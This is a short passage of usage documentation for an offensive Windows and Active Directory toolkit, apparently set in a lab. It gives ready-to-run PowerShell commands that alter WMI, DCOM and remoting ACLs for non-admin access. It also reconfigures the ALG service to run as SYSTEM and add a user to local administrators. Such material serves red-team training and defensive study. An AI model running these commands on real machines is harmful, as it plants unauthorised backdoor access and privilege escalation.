PS C:\> Set-RemotePSRemoting -SamAccountName labuser -ComputerName ops-dc
Use the above command to add permissions on the remote machine for labuser to access PowerShell remoting.
PS C:\> Set-RemotePSRemoting -SamAccountName labuser -ComputerName ops-dc -Credential ops\administrator
Use the above command to add permissions on the remote machine for labuser to access PowerShell remoting using explicit credentials.
Set-RemoteWMI
Use this function to modify ACL of DCOM endpoint and all the namespaces so that you can access the target machine without admin.
PS C:\> Set-RemoteWMI -SamAccountName labuser -ComputerName ops-dc

Set-RemoteServicePermissions and Set-RemoteServiceAbuse
Use these tmodify ACLs of services on windows machines.

PS C:\> Set-RemoteServiceAbuse -ComputerName ops-mssql -UserName 'labuser' -ServiceName ALG -Verbose
Run the above command as 'labuser' to configure ALG to run as SYSTEM and modify its executable path to add 'labuser' or other Principal provided in the UserName parameter to the local adminisrators group on the target machines.
